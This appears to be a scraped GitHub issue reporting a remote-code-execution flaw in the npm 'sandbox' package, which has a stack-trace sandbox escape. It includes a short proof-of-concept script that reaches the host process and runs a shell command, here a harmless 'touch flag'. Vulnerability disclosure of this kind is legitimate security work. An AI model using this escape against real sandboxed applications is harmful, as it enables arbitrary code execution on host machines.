You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
varSandbox=require("sandbox")varcode=`Error.prepareStackTrace = (_, c) => c[0].getThis();const ret = Error().stack;ret.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch flag');`s=newSandbox()s.run(code)
Affected versions of this package are vulnerable to remote code execution. Especially, the attacker is able to access to host error objects during the generation of a stack trace, which can lead to execution of arbitrary code on the host machine.
The text was updated successfully, but these errors were encountered:
Affected versions of this package are vulnerable to remote code execution. Especially, the attacker is able to access to host error objects during the generation of a stack trace, which can lead to execution of arbitrary code on the host machine.
The text was updated successfully, but these errors were encountered: